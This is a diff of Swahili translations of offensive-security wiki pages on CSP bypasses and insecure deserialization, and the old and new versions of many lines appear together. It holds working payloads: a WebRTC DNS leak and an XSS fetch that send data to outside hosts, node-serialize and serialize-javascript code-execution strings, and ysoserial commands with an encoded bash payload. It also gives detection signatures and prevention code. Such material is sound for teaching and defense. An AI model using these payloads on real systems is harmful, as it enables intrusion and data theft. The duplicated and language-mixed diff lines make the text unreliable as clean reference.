Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiya au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Kwa kufuatilia ni maombi gani yanayozuiwa au kuruhusiwa na CSP, mtu anaweza kupunguza wahusika wanaowezekana katika subdomain ya siri, hatimaye kugundua URL kamili.
Mbinu zote mbili zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
Mbinu zote mbili zinatumia nuances za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
Trick kutoka [**hapa**](https://ctftime.org/writeup/29310).
@ -599,7 +599,7 @@ Trick kutoka [**hapa**](https://ctftime.org/writeup/29310).
### Makosa ya PHP wakati wa param nyingi
Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). **`header()`** yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP **haitatumwa** kwa sababu ya kosa ambalo hili litakusababisha.
Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). **`header()`** yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP **haitatumwa** kwa sababu ya kosa ambalo hili litazalisha.
### Kupita kwa buffer ya majibu ya PHP
@ -619,13 +619,13 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuhuisha ukurasa wa mshambuliaji kwa kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha ku-refresh ukurasa wa mshambuliaji hadi kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Zaidi ya hayo, **wordpress** ina **JSONP** kiungo katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na alama za nukta pekee).
Zaidi ya hayo, **wordpress** ina **JSONP** kiungo katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekta** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na nukta pekee).
Mshambuliaji anaweza kutumia kiungo hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo cha callback kilichoharibika** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haichunguze sera ya `connect-src`** ya CSP.
Kwa kweli unaweza _leak_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code:
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -688,7 +688,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Nyingine chaguo:
Chaguo lingine:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -715,7 +715,7 @@ iconURL:"https:"+your_data+"example.com"
```
## Kuangalia Sera za CSP Mtandaoni
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Kuunda CSP Kiotomatiki

View File

@ -14,10 +14,10 @@ Deserialization inaweza kuwa hatari kwa sababu inaweza **kuruhusu washambuliaji
Katika PHP, mbinu maalum za kichawi hutumiwa wakati wa mchakato wa serialization na deserialization:
- `__sleep`: Inaitwa wakati kitu kinaposajiliwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusajiliwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za usafi zinazofanana.
- `__sleep`: Inaitwa wakati kitu kinaposajiliwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusajiliwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za kusafisha zinazofanana.
- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa tena. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.
- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa tena. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`.
- `__destruct`: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za usafi, kama kufunga mikono ya faili au uhusiano wa database.
- `__destruct`: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za kusafisha, kama kufunga mikono ya faili au uhusiano wa database.
- `__toString`: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kwa kusoma faili au kazi nyingine kulingana na wito wa kazi ndani yake, ikitoa kwa ufanisi uwakilishi wa maandiko wa kitu.
```php
<?php
@ -74,7 +74,7 @@ This is a test<br />
*/
?>
```
Ikiwa utaangalia matokeo utaona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapokuwa deserialized. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi **`__toString`** inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo **haifanyiki tena**.
Ikiwa utaangalia matokeo, utaona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapokuwa deserialized. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi **`__toString`** inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo **haitendeki tena**.
> [!WARNING]
> Njia **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imeanzishwa katika darasa. Inakuruhusu kuunserialize kitu kwa kutoa data iliyosajiliwa kama array. Unaweza kutumia njia hii kuunserialize mali na kufanya kazi zozote muhimu wakati wa deserialization.
@ -100,9 +100,9 @@ Unaweza kutumia vibaya kazi ya autoload ya PHP ili kupakia faili za php zisizo n
php-deserialization-+-autoload-classes.md
{{#endref}}
### Kuweka Thamani za Marejeleo
### Serializing Referenced Values
Ikiwa kwa sababu fulani unataka kuweka thamani kama **marejeleo kwa thamani nyingine iliyosajiliwa** unaweza:
Ikiwa kwa sababu fulani unataka kusajili thamani kama **kiungo kwa thamani nyingine iliyosajiliwa**, unaweza:
```php
<?php
class AClass {
@ -118,8 +118,8 @@ $ser=serialize($o);
### PHPGGC (ysoserial kwa PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) inaweza kusaidia katika kuunda payloads za kutumia PHP deserializations.\
Kumbuka kwamba katika kesi nyingi huwezi kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kuwa na uwezo wa **kutumia msimbo wa nyongeza za PHP za nje.**\
Hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta mtandaoni** (hata kwenye **gadgets** za **PHPGGC**) baadhi ya gadgets zinazoweza kutumiwa.
Kumbuka kwamba katika kesi kadhaa huenda **usipate njia ya kutumia deserialization katika msimbo wa chanzo** wa programu lakini unaweza kuwa na uwezo wa **kutumia msimbo wa nyongeza za PHP za nje.**\
Hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta mtandaoni** (hata kwenye **gadgets** za **PHPGGC**) baadhi ya gadgets zinazoweza kutumika.
### phar:// metadata deserialization
@ -170,9 +170,9 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **haina "magic" functions** kama PHP au Python ambazo zitatekelezwa tu kwa ajili ya kuunda kitu. Lakini ina **functions** ambazo zinatumika **mara kwa mara hata bila kuziita moja kwa moja** kama **`toString`**, **`valueOf`**, **`toJSON`**.\
Ikiwa unatumia deserialization unaweza **kuathiri hizi functions ili kutekeleza code nyingine** (kwa kuweza kudhulumu prototype pollutions) unaweza kutekeleza code isiyo na mipaka wakati zinapoitwa.
Ikiwa unatumia deserialization unaweza **kudhulumu hizi functions ili kutekeleza code nyingine** (kwa kutumia prototype pollutions) unaweza kutekeleza code isiyo na mipaka wanapoitwa.
Njia nyingine **"magic" ya kuita function** bila kuikalia moja kwa moja ni kwa **kuathiri kitu ambacho kinarejeshwa na function ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** hiyo **kitu kinachorejeshwa** kuwa ahadi nyingine yenye **sifa** inayoitwa **"then" ya aina function**, itatekelezwa **tu kwa sababu inarejeshwa na ahadi nyingine. _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa maelezo zaidi._
Njia nyingine **"magic" ya kuita function** bila kuikalia moja kwa moja ni kwa **kudhulumu kitu ambacho kinarejeshwa na function ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** hicho **kitu kinachorejeshwa** kuwa ahadi nyingine yenye **sifa** inayoitwa **"then" ya aina function**, itatekelezwa **tu kwa sababu inarejeshwa na ahadi nyingine. _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa maelezo zaidi._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -231,11 +231,11 @@ Ndani ya faili `node-serialize/lib/serialize.js` unaweza kupata bendera hiyo hiy
![](<../../images/image (446).png>)
Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika kus_serialized kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**.
Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika ku_deserialize kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**.
Hata hivyo, **kuhifadhi tu** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu**.\
Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapos_serialized.\
Katika kipande kijacho cha msimbo **angalia mabano ya mwisho** na jinsi kazi ya `unserialize` itatekeleza kiotomatiki msimbo:
Hata hivyo, **ku_serialized** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu sana**.\
Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapo_deserialize.\
Katika kipande kijacho cha msimbo **angalia mabano ya mwisho** na jinsi kazi ya `unserialize` itatekeleza msimbo kiotomatiki:
```javascript
var serialize = require("node-serialize")
var test = {
@ -243,18 +243,18 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Kama ilivyosemwa awali, maktaba hii itapata msimbo baada ya `_$$ND_FUNC$$_` na itau **tekeleza** kwa kutumia `eval`. Hivyo, ili **kuji-tekeleza kwa msimbo** unaweza **kufuta sehemu ya uundaji wa kazi** na paranthesi ya mwisho na **ku-tekeleza tu JS oneliner** kama katika mfano ufuatao:
Kama ilivyosemwa awali, maktaba hii itapata msimbo baada ya `_$$ND_FUNC$$_` na itau **tekeleza** kwa kutumia `eval`. Hivyo, ili **kuji-tekeleza msimbo** unaweza **kufuta sehemu ya uundaji wa kazi** na paranthesi ya mwisho na **kuendesha tu JS oneliner** kama katika mfano ufuatao:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
Unaweza [**kupata hapa**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **taarifa zaidi** kuhusu jinsi ya kutumia udhaifu huu.
You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
### [funcster](https://www.npmjs.com/package/funcster)
Jambo muhimu kuhusu **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika.
Asilimia muhimu ya **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika.
Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili wa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho:
```javascript
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
Ikiwa kazi hii inatumika ku-deserialize vitu unaweza **kuiharibu kwa urahisi**:
Ikiwa kazi hii inatumika kuunda tena vitu unaweza **kuifanyia matumizi kwa urahisi**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -306,7 +306,7 @@ deserialize(test)
### Maktaba ya Cryo
Katika kurasa zinazofuata unaweza kupata maelezo kuhusu jinsi ya kutumia vibaya maktaba hii ili kutekeleza amri zisizo na mipaka:
Katika kurasa zinazofuata unaweza kupata taarifa kuhusu jinsi ya kutumia vibaya maktaba hii ili kutekeleza amri zisizo na mipaka:
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
@ -327,28 +327,28 @@ Ili kubaini uwezekano wa udhaifu wa serialization katika msimbo, tafuta:
Zingatia kwa makini:
- `XMLDecoder` inayotumika na vigezo vilivyofafanuliwa na watumiaji wa nje.
- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuathirika na masuala ya serialization.
- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa na matatizo ya serialization.
- `ObjectInputStream` iliyoambatanishwa na njia ya `readObject`.
- Utekelezaji wa njia kama `readObject`, `readObjectNodData`, `readResolve`, au `readExternal`.
- `ObjectInputStream.readUnshared`.
- Matumizi ya jumla ya `Serializable`.
#### Sanduku la Nyeusi
#### Sanduku la Black
Kwa upimaji wa sanduku la nyeusi, tafuta **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`):
Kwa upimaji wa sanduku la black, angalia **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`):
- Mchoro wa hexadecimal: `AC ED 00 05`.
- Mchoro wa Base64: `rO0`.
- Vichwa vya majibu ya HTTP vilivyowekwa `Content-type` kuwa `application/x-java-serialized-object`.
- Mchoro wa hexadecimal unaoashiria kufungwa kwa awali: `1F 8B 08 00`.
- Mchoro wa Base64 unaoashiria kufungwa kwa awali: `H4sIA`.
- Vichwa vya majibu ya HTTP vyenye `Content-type` vilivyowekwa kuwa `application/x-java-serialized-object`.
- Mchoro wa hexadecimal unaoashiria kubana awali: `1F 8B 08 00`.
- Mchoro wa Base64 unaoashiria kubana awali: `H4sIA`.
- Faili za wavuti zenye kiambishi cha `.faces` na parameter ya `faces.ViewState`. Kugundua mifumo hii katika programu ya wavuti inapaswa kusababisha uchunguzi kama ilivyoelezwa katika [post kuhusu Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Angalia kama kuna udhaifu
Ikiwa unataka **kujifunza jinsi unavyofanya kazi kwa Java Deserialized exploit** unapaswa kuangalia [**Msingi wa Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), na [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
Ikiwa unataka **kujifunza jinsi unavyofanya kazi ya Java Deserialized exploit** unapaswa kuangalia [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), na [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Mtihani wa Sanduku Nyeupe
@ -371,21 +371,21 @@ Kwa kutumia nyongeza ya Burp [**Java Deserialization Scanner**](java-dns-deseria
[**Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner inazingatia **`ObjectInputStream`** deserializations.
Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** deserialization maktaba. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\
Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** maktaba za deserialization. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\
[**Unaweza kupata maelezo zaidi kuhusu Freddy hapa.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Sio kila kitu ni kuhusu kuangalia kama maktaba yoyote yenye udhaifu inatumika na seva. Wakati mwingine unaweza kuwa na uwezo wa **kubadilisha data ndani ya kitu kilichosajiliwa na kupita baadhi ya ukaguzi** (labda kukupa ruhusa za admin ndani ya webapp).\
Ikiwa unapata kitu kilichosajiliwa cha java kinachotumwa kwa programu ya wavuti, **unaweza kutumia** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kuchapisha kwa muundo unaoweza kusomeka na binadamu kitu cha usajili kinachotumwa**. Kujua ni data gani unayotuma itakuwa rahisi kuibadilisha na kupita baadhi ya ukaguzi.
Ikiwa unapata kitu kilichosajiliwa cha java kinachotumwa kwa programu ya wavuti, **unaweza kutumia** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kuandika kwa muundo unaoweza kusomeka na binadamu kitu cha usajili kinachotumwa**. Kujua ni data gani unayotuma itakuwa rahisi kuibadilisha na kupita baadhi ya ukaguzi.
### **Exploit**
#### **ysoserial**
Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na pipes).\
Fahamu kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\
Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, fahamu kwamba labda payload ya "URLDNS" haitafanya kazi lakini payload nyingine ya RCE inafanya kazi.
Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa kutumia pipes kwa mfano).\
Kumbuka kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\
Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, kumbuka kwamba labda payload ya "URLDNS" haifanyi kazi lakini payload nyingine ya RCE inafanya kazi.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Wakati wa kuunda payload kwa **java.lang.Runtime.exec()** hu **wezi kutumia herufi maalum** kama ">" au "|" kuhamasisha matokeo ya utekelezaji, "$()" kutekeleza amri au hata **kupitisha hoja** kwa amri zilizotenganishwa na **nafasi** (unaweza kufanya `echo -n "hello world"` lakini huwezi kufanya `python2 -c 'print "Hello world"'`). Ili kuandika payload kwa usahihi unaweza [kutumia ukurasa huu](http://www.jackson-t.ca/runtime-exec-payloads.html).
Wakati wa kuunda payload kwa **java.lang.Runtime.exec()** huwezi kutumia herufi maalum kama ">" au "|" kuhamasisha matokeo ya utekelezaji, "$()" kutekeleza amri au hata **kupitisha hoja** kwa amri zilizotenganishwa na **nafasi** (unaweza kufanya `echo -n "hello world"` lakini huwezi kufanya `python2 -c 'print "Hello world"'`). Ili kuandika payload kwa usahihi unaweza [kutumia ukurasa huu](http://www.jackson-t.ca/runtime-exec-payloads.html).
Jihadharini kutumia skripti ifuatayo kuunda **payloads zote zinazowezekana za utekelezaji wa msimbo** kwa Windows na Linux kisha uzijaribu kwenye ukurasa wa wavuti ulio hatarini:
```python
@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
Unaweza **kutumia** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **pamoja na ysoserial kuunda exploit zaidi**. Taarifa zaidi kuhusu chombo hiki katika **slides za mazungumzo** ambapo chombo kilitolewa: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **pamoja na ysoserial kuunda exploit zaidi**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)inaweza kutumika kuunda payloads za kutumia katika maktaba tofauti za **Json** na **Yml** serialization katika Java.\
Ili kuunda mradi nilihitaji **kuongeza** hizi **dependencies** kwenye `pom.xml`:
```markup
[**marshalsec** ](https://github.com/mbechler/marshalsec)inaweza kutumika kuunda payloads za kutumia maktaba tofauti za **Json** na **Yml** serialization katika Java.\
In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
```html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
@ -495,9 +495,9 @@ Java inatumia serialization nyingi kwa madhumuni mbalimbali kama:
- **HTTP requests**: Serialization inatumika sana katika usimamizi wa vigezo, ViewState, cookies, nk.
- **RMI (Remote Method Invocation)**: Protokali ya Java RMI, ambayo inategemea kabisa serialization, ni msingi wa mawasiliano ya mbali katika programu za Java.
- **RMI juu ya HTTP**: Njia hii inatumika kawaida na programu za wavuti za mteja mzito za Java, zikitumika serialization kwa mawasiliano yote ya vitu.
- **RMI juu ya HTTP**: Njia hii inatumika kawaida na programu za wavuti za Java zenye mteja mzito, zikitumika serialization kwa mawasiliano yote ya vitu.
- **JMX (Java Management Extensions)**: JMX inatumia serialization kwa kutuma vitu kupitia mtandao.
- **Protokali za Kijadi**: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu safi vya Java, ambayo itaonyeshwa katika mifano ijayo ya exploit.
- **Protokali za Kijadi**: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu vya Java safi, ambavyo vitadhihirishwa katika mifano ijayo ya exploit.
### Kuzuia
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Epuka Serialization ya darasa ambalo linahitaji kutekeleza Serializable
Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na mfuatano wa darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya `final` `readObject()` ambayo kila wakati inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na hierarchi ya darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserialization kwa kufafanua njia ya `final` `readObject()` ambayo daima inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -522,10 +522,10 @@ throw new java.io.IOException("Cannot be deserialized");
**Kubadilisha `java.io.ObjectInputStream`** ni njia ya vitendo ya kulinda michakato ya deserialization. Njia hii inafaa wakati:
- Msimbo wa deserialization uko chini ya udhibiti wako.
- Kanuni za deserialization ziko chini ya udhibiti wako.
- Madarasa yanayotarajiwa kwa deserialization yanajulikana.
Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` pekee:
Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` tu:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Kutumia Java Agent kwa Kuongeza Usalama** inatoa suluhisho la kurudi nyuma wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa **kuorodhesha madarasa hatari**, kwa kutumia parameter ya JVM:
